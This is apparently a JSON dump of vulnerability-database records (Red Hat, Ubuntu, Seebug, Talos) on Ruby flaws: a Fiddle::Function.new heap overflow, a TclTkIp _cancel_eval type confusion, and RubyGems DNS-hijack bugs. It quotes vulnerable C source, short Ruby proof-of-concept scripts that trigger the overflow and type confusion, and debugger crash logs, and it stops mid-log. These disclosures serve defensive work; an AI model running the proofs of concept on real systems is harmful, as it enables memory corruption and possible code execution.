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Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-12T14:50:43", "type": "redhatcve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2020-04-08T22:05:25", "id": "RH:CVE-2016-2339", "href": "https://access.redhat.com/security/cve/cve-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-03T01:51:46", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. 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"cpe:/a:rubygems:rubygems:2.4.5", "cpe:/a:rubygems:rubygems:2.4.7", "cpe:/a:rubygems:rubygems:2.0.2", "cpe:/a:rubygems:rubygems:2.0.4", "cpe:/a:rubygems:rubygems:2.2.3", "cpe:/a:rubygems:rubygems:2.0.8", "cpe:/a:rubygems:rubygems:2.0.6", "cpe:/a:rubygems:rubygems:2.0.14", "cpe:/a:rubygems:rubygems:2.0.3", "cpe:/a:rubygems:rubygems:2.4.3", "cpe:/o:oracle:solaris:11.3", "cpe:/a:rubygems:rubygems:2.0.15", "cpe:/a:rubygems:rubygems:2.2.1", "cpe:/a:rubygems:rubygems:2.4.0", "cpe:/a:rubygems:rubygems:2.0.5", "cpe:/a:rubygems:rubygems:2.4.6", "cpe:/a:rubygems:rubygems:2.0.0", "cpe:/a:rubygems:rubygems:2.0.16"], "id": "CVE-2015-4020", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4020", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:rubygems:rubygems:2.0.0:preview2.1:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.1:*:*:*:*:*:*:*", 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"cpe:2.3:a:rubygems:rubygems:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.0:preview2:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubygems:rubygems:2.0.0:*:*:*:*:*:*:*"]}], "ubuntucve": [{"lastseen": "2023-06-28T14:34:03", "description": "An exploitable heap overflow vulnerability exists in the\nFiddle::Function.new \"initialize\" function functionality of Ruby. In\nFiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is\nmade based on args array length. Specially constructed object passed as\nelement of args array can increase this array size after mentioned\nallocation and cause heap overflow.\n\n#### Bugs\n\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851161>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | 2.3.0 and later not affected\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T00:00:00", "type": "ubuntucve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T00:00:00", "id": "UB:CVE-2016-2339", "href": "https://ubuntu.com/security/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-28T14:34:04", "description": "Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Attacker\npassing different type of object than String as \"retval\" argument can cause\narbitrary code execution.\n\n#### Bugs\n\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851161>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | 2.3.0 and later not affected\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T00:00:00", "type": "ubuntucve", "title": "CVE-2016-2337", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2017-01-06T00:00:00", "id": "UB:CVE-2016-2337", "href": "https://ubuntu.com/security/CVE-2016-2337", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-09-17T16:01:46", "description": "RubyGems 2.0.x before 2.0.16, 2.2.x before 2.2.4, and 2.4.x before 2.4.7\ndoes not validate the hostname when fetching gems or making API requests,\nwhich allows remote attackers to redirect requests to arbitrary domains via\na crafted DNS SRV record, aka a \"DNS hijack attack.\"\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=790111>\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=790119>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[tyhicks](<https://launchpad.net/~tyhicks>) | rubygems is for users of ruby1.8. ruby1.9.1 and jruby ship an embedded rubygems. \n[seth-arnold](<https://launchpad.net/~seth-arnold>) | I have doubts this patch actually addresses DNS hijacking adequately; this may properly restrict SRV records, but what verifies subsequent lookups to ensure the returned IPs aren't under attacker control? Marking 'low' as a result.\n", "cvss3": {}, "published": "2015-06-24T00:00:00", "type": "ubuntucve", "title": "CVE-2015-3900", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900"], "modified": "2015-06-24T00:00:00", "id": "UB:CVE-2015-3900", "href": "https://ubuntu.com/security/CVE-2015-3900", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-09-17T15:47:56", "description": "RubyGems 2.0.x before 2.0.17, 2.2.x before 2.2.5, and 2.4.x before 2.4.8\ndoes not validate the hostname when fetching gems or making API requests,\nwhich allows remote attackers to redirect requests to arbitrary domains via\na crafted DNS SRV record with a domain that is suffixed with the original\ndomain name, aka a \"DNS hijack attack.\" NOTE: this vulnerability exists\nbecause to an incomplete fix for CVE-2015-3900.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[tyhicks](<https://launchpad.net/~tyhicks>) | rubygems is for users of ruby1.8. ruby1.9.1 and jruby ship an embedded rubygems.\n", "cvss3": {}, "published": "2015-08-25T00:00:00", "type": "ubuntucve", "title": "CVE-2015-4020", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3900", "CVE-2015-4020"], "modified": "2015-08-25T00:00:00", "id": "UB:CVE-2015-4020", "href": "https://ubuntu.com/security/CVE-2015-4020", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "seebug": [{"lastseen": "2017-11-19T11:56:07", "description": "### DESCRIPTION\r\nType Confusion exists in canceleval Ruby's TclTkIp class method. Attacker passing different type of object than String as \"retval\" argument can cause arbitrary code execution.\r\n\r\n### TESTED VERSIONS\r\nRuby 2.3.0 dev Ruby 2.2.2 Tcl/Tk8.6 or later\r\n\r\n### PRODUCT URLs\r\nhttps://www.ruby-lang.org\r\n\r\n### DETAILS\r\nVulnerable code:\r\n```\r\n---------------------------------------------- code \r\n--------------------------------------------- \r\nLine 7761 static VALUE\r\nLine 7762 ip_cancel_eval(argc, argv, self)\r\nLine 7763 int argc;\r\nLine 7764 VALUE *argv;\r\nLine 7765 VALUE self;\r\nLine 7766 {\r\nLine 7767 VALUE retval;\r\nLine 7768\r\nLine 7769 if (rb_scan_args(argc, argv, \"01\", &retval) == 0) {\r\nLine 7770 retval = Qnil;\r\nLine 7771 }\r\nLine 7772 if (ip_cancel_eval_core(get_ip(self)->ip, retval, 0) == \r\nTCL_OK) {\r\nLine 7773 return Qtrue;\r\nLine 7774 } else {\r\nLine 7775 return Qfalse;\r\nLine 7776 }\r\nLine 7777 }\r\n\r\nLine 7736 static int\r\nLine 7737 ip_cancel_eval_core(interp, msg, flag)\r\nLine 7738 Tcl_Interp *interp;\r\nLine 7739 VALUE msg;\r\nLine 7740 int flag;\r\nLine 7741 {\r\nLine 7742 #if TCL_MAJOR_VERSION < 8 || (TCL_MAJOR_VERSION == 8 && \r\nTCL_MINOR_VERSION < 6)\r\nLine 7743 rb_raise(rb_eNotImpError,\r\nLine 7744 \"cancel_eval is supported Tcl/Tk8.6 or \r\nlater.\");\r\nLine 7745\r\nLine 7746 UNREACHABLE;\r\nLine 7747 #else\r\nLine 7748 Tcl_Obj *msg_obj;\r\nLine 7749\r\nLine 7750 if (NIL_P(msg)) {\r\nLine 7751 msg_obj = NULL;\r\nLine 7752 } else {\r\nLine 7753 msg_obj = Tcl_NewStringObj(RSTRING_PTR(msg), \r\nRSTRING_LEN(msg));\r\nLine 7754 Tcl_IncrRefCount(msg_obj);\r\nLine 7755 }\r\nLine 7756\r\nLine 7757 return Tcl_CancelEval(interp, msg_obj, 0, flag);\r\nLine 7758 #endif\r\nLine 7759 }\r\n---------------------------------------------- code \r\n--------------------------------------------- \r\n```\r\n\r\nIn line 7769 \"canceleval\" method argument is parse out into \"retval\" variable. Next this variable is passed to \"ipcanceleval_core\" function (line 7772). In line 7753 we can see that our \"retval\" variable which in this function is passed as \"msg\" argument is treated as String object.Passing object different than String we will cause type confusion vulnerability in this line.\r\n\r\n\r\n### TIMELINE\r\n* 2015-06-18 - Initial Discovery \r\n* 2015-06-30 - Vendor Notification \r\n* 2016\u201406-14 - Public Disclosure", "cvss3": {}, "published": "2017-10-20T00:00:00", "type": "seebug", "title": "Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities(CVE-2016-2337)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-2337"], "modified": "2017-10-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96756", "id": "SSV:96756", "sourceData": "\n require 'tk'\r\nt = TclTkIp.new()\r\nt._cancel_eval(0x11223344)\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96756", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:56:06", "description": "### DESCRIPTION\r\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\r\n\r\n### TESTED VERSIONS\r\nRuby 2.3.0 dev Ruby 2.2.2\r\n\r\n### PRODUCT URLs\r\nhttps://www.ruby-lang.org\r\n\r\n### DETAILS\r\n```\r\nLine 86 static VALUE\r\nLine 87 initialize(int argc, VALUE argv[], VALUE self)\r\nLine 88 {\r\nLine 89 ffi_cif * cif;\r\nLine 90 ffi_type **arg_types;\r\nLine 91 ffi_status result;\r\nLine 92 VALUE ptr, args, ret_type, abi, kwds;\r\nLine 93 int i;\r\nLine 94 \r\nLine 95 rb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \r\n&kwds);\r\nLine 96 if(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\r\nLine 97 \r\nLine 98 Check_Type(args, T_ARRAY);\r\nLine 99 Check_Max_Args(\"args\", RARRAY_LENINT(args));\r\n\r\n (...)\r\n\r\nLine 110 arg_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\r\nLine 111\r\nLine 112 for (i = 0; i < RARRAY_LEN(args); i++) {\r\nLine 113 int type = NUM2INT(RARRAY_PTR(args)[i]);\r\nLine 114 arg_types[i] = INT2FFI_TYPE(type);\r\nLine 115 }\r\nLine 116 arg_types[RARRAY_LEN(args)] = NULL;\r\n```\r\n\r\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffitype structures. Later in for loop we see that each element from this array is first converted to int and later to ffitype structure. Results of this conversions are stored in previous allocated array \"arg_types\".\r\n```\r\nExploiting knowledge that in Line 113 NUM2INT for non Integer object will call \"to_int\" method we can create properly constructed object which will \r\n```\r\n\r\nimplement this method and it's responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for argtypes will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffitype structures.\r\n\r\n### CRASH ANALYSIS\r\n```\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\r\neip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!LdrpDoDebuggerBreak+0x2c:\r\n77b612fb cc int 3\r\n0:000> bu fiddle!Init_fiddle\r\n0:000> g\r\nModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\r\nModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\r\nModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\r\nModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\r\nModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\detoured.dll\r\nModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvd3d9wrap.dll\r\nModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\r\nModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\r\nModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\r\nModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\r\nModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\r\nModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvdxgiwrap.dll\r\nModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\r\nModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\r\nModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\r\nModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \r\nmingw32\\enc\\trans\\transdb.so\r\nModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\r\nModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\r\nModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\r\nModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\r\nBreakpoint 0 hit\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\msvcrt-ruby220.dll -\r\neax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\r\neip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nfiddle!Init_fiddle:\r\n70a42270 55 push ebp\r\n0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\r\n0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\r\n0:000> g\r\n\r\nStart\r\nargs array size : 1\r\n xcalloc( 0x2 )\r\narg_types addr : 0x2b81b50\r\n\r\neax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\r\neip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\r\nfiddle!Init_fiddle+0x872:\r\n70a42ae2 89c7 mov edi,eax\r\n0:000> !heap -p -a 0x2b81b50\r\n address 02b81b50 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\r\n\r\n\r\n0:000> !heap -p -a 02b81b48+20 \r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\r\n\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 fad1ca73 000ae511 005100c4 00514668\r\n02b81b78 feeefeee feeefeee feeefeee feeefeee\r\n02b81b88 feeefeee feeefeee feeefeee feeefeee\r\n02b81b98 feeefeee feeefeee feeefeee feeefeee\r\n02b81ba8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bb8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bc8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bd8 feeefeee feeefeee feeefeee feeefeee\r\n0:000> g\r\n\r\nincrease size of array\r\nNew args array size is : 11\r\n\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> !heap -p -a 02b81b48+20\r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\libffi-6.dll -\r\n libffi_6!ffi_type_pointer\r\n\r\n\r\n0:000> !heap -x 02b81b48+20\r\nERROR: Block 02b81b68 previous size 955d does not match previous block size 4\r\nHEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 6b747048 6b747048 6b747048 6b747048\r\n02b81b78 6b747048 00000000 00000003 00000003\r\n02b81b88 00000003 00000003 00000003 00000003\r\n02b81b98 00000003 baadf00d baadf00d baadf00d\r\n02b81ba8 baadf00d baadf00d baadf00d baadf00d\r\n02b81bb8 baadf00d baadf00d abababab abababab\r\n02b81bc8 00000000 00000000 66d2c8ee 180ae518\r\n02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\r\neip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\r\neip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\neax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\r\neip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!ZwTerminateProcess+0x12:\r\n77adfd0e 83c404 add esp,4\r\n0:000>\r\n```\r\n\r\n### TIMELINE\r\n* 2015-06-11 - Initial Discovery \r\n* 2015-06-30 - Vendor Notification \r\n* 2016-06-14 - Public Disclosure", "cvss3": {}, "published": "2017-10-20T00:00:00", "type": "seebug", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-10-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96759", "id": "SSV:96759", "sourceData": "\n require 'fiddle'\r\n\r\n$args = []\r\nclass MyObject \r\n def to_int\r\n puts \"increase size of array\"\r\n (1..10).map{|x| $args.push(1)}\r\n puts \"New args array size is : #{$args.length}\" \r\n return 1\r\n end\r\nend\r\nputs \"Start\"\r\nx = MyObject.new\r\n$args.push(x)\r\nputs \"args array size : #{$args.length}\"\r\nf = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96759", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "talos": [{"lastseen": "2023-06-03T15:23:57", "description": "# Talos Vulnerability Report\n\n### TALOS-2016-0034\n\n## Ruby Fiddle::Function.new Heap Overflow Vulnerability\n\n##### June 14, 2016\n\n##### CVE Number\n\nCVE-2016-2339\n\n### DESCRIPTION\n\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \u201cinitialize\u201d function functionality of Ruby. In Fiddle::Function.new \u201cinitialize\u201d heap buffer \u201carg_types\u201d allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\n\n### TESTED VERSIONS\n\nRuby 2.3.0 dev Ruby 2.2.2\n\n### PRODUCT URLs\n\nhttps://www.ruby-lang.org\n\n### DETAILS\n \n \n Line 86 \tstatic VALUE\n Line 87 \tinitialize(int argc, VALUE argv[], VALUE self)\n Line 88 \t{\n Line 89 \t\tffi_cif * cif;\n Line 90 \t\tffi_type **arg_types;\n Line 91 \t\tffi_status result;\n Line 92 \t\tVALUE ptr, args, ret_type, abi, kwds;\n Line 93 \t\tint i;\n Line 94 \n Line 95 \t\trb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \n &kwds);\n Line 96 \t\tif(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\n Line 97 \n Line 98 \t\tCheck_Type(args, T_ARRAY);\n Line 99 \t\tCheck_Max_Args(\"args\", RARRAY_LENINT(args));\n \t\n \t\t\t(...)\n \t\n Line 110\t\targ_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\n Line 111\n Line 112\t\tfor (i = 0; i < RARRAY_LEN(args); i++) {\n Line 113\t\t\tint type = NUM2INT(RARRAY_PTR(args)[i]);\n Line 114\t\t\targ_types[i] = INT2FFI_TYPE(type);\n Line 115\t\t}\n Line 116\t\targ_types[RARRAY_LEN(args)] = NULL;\n \n\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffi_type structures. Later in for loop we see that each element from this array is first converted to int and later to ffi_type structure. Results of this conversions are stored in previous allocated array \u201carg_types\u201d. Exploiting knowledge that in Line 113 NUM2INT for non Integer object will call \u201cto_int\u201d method we can create properly constructed object which will implement this method and it\u2019s responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for arg_types will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffi_type structures.\n\n### POC\n \n \n require 'fiddle'\n \n $args = []\n class MyObject\t\n def to_int\n \t puts \"increase size of array\"\n \t (1..10).map{|x| $args.push(1)}\n \t puts \"New args array size is : #{$args.length}\"\t\t\n \t return 1\n end\n end\n puts \"Start\"\n x = MyObject.new\n $args.push(x)\n puts \"args array size : #{$args.length}\"\n f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n \n\n### CRASH ANALYSIS\n \n \n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\n eip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!LdrpDoDebuggerBreak+0x2c:\n 77b612fb cc int 3\n 0:000> bu 